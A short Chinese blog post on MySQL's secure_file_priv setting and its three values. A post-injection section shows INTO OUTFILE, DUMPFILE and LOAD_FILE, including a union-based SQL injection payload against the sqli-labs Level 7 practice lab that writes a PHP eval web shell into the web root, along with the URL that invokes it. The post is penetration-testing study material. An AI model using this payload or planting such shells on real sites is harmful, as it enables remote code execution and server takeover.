Mysql 中的secure_file_priv参数设置

secure_file_priv是MySQL中的系统变量,用于限制文件的读取和写入。

该参数的设置可以通过my.ini(windows版本)/my.cnf(Linux版本)中设置。

修改完参数之后,必须重启数据库才能生效。

启动MySQL,先查看secure_file_priv的值。

命令:show variables like "secure%" 或  select @@secure_file_priv;

1.secure_file_priv = NULL ,限制文件的读取和写入。

2.secure_file_priv = 文件路径 ,限制文件的读取和写入只能在设定的文件夹中。

3.secure_file_priv= "", 对文件和读取和写入没有任何限制。

【MySQL漏洞注入后期】

1. select *** into dumpfile 文件路径;

内容在文件中是以一行的形式呈现,多行数据会出现数据保存不全;

dumpfile只能写一行,并且输出中不存在任何格式。

2.select  *** into outfile  文件路径;

内容有特殊格式转换,该换行换行,较比dumpfile更加好用;

outfile可以写入多行数据,并且字段和行终止符都可以作为格式输出。

例如:?id=1')) union select 1,"<?php eval($_REQUEST[123]) ?>",3 into outfile "C://phpStudy//WWW//sqli-labs-master//Less-7//test.php" -- +

调用:url/test.php?123=phpinfo();

3.select  *** load_file (下载文件)

select  load_file(文件路径);

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值